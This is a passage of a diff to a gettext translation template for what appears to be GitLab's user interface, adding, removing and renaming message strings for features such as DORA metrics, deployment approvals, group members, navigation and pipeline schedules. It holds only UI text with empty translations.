-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10126,6 +10255,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11020,6 +11152,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11413,6 +11548,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12310,6 +12448,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12334,6 +12475,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12346,7 +12490,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12367,6 +12514,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12388,6 +12541,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12406,6 +12565,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12427,6 +12595,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12436,6 +12610,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12451,9 +12628,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13372,11 +13546,11 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13444,6 +13618,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13828,9 +14005,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13846,6 +14029,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13930,6 +14119,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14200,7 +14395,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14425,6 +14620,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14920,6 +15118,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16117,10 +16318,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16129,9 +16327,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16630,9 +16825,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16666,9 +16858,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16990,9 +17179,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17419,9 +17605,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17740,16 +17923,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17848,6 +18028,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18508,9 +18691,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18925,6 +19105,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18937,6 +19120,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18961,6 +19150,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18979,6 +19171,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18991,9 +19186,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19318,6 +19519,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19480,7 +19687,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19963,9 +20170,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20020,6 +20233,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20029,6 +20245,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20038,6 +20260,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20155,6 +20380,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20470,6 +20698,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20884,9 +21118,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20908,6 +21139,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21130,12 +21364,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22195,7 +22441,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22258,9 +22504,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22411,6 +22666,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23614,6 +23872,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23662,6 +23923,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23806,9 +24070,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24124,9 +24385,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24289,9 +24547,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24424,6 +24679,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24493,9 +24751,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25255,6 +25510,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25270,9 +25528,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25372,6 +25627,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25441,9 +25699,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25456,9 +25711,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25798,6 +26050,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25837,6 +26092,9 @@ msgstr[2] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25846,6 +26104,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25867,10 +26140,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25879,9 +26152,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25909,6 +26188,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25936,6 +26218,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26221,10 +26509,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26284,6 +26575,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26713,6 +27007,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27109,6 +27409,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27133,6 +27436,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27142,6 +27448,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27166,24 +27475,36 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27277,6 +27598,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27406,9 +27748,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27724,9 +28063,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27904,6 +28240,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28444,13 +28795,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28501,6 +28846,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28930,6 +29287,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29095,6 +29455,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29521,12 +29884,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29686,9 +30043,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29833,12 +30187,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30370,7 +30718,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30385,6 +30733,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30397,6 +30748,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30424,6 +30778,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30442,6 +30802,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31396,9 +31759,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31456,6 +31816,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31483,7 +31846,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31498,9 +31864,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31612,6 +31975,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31624,27 +31990,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
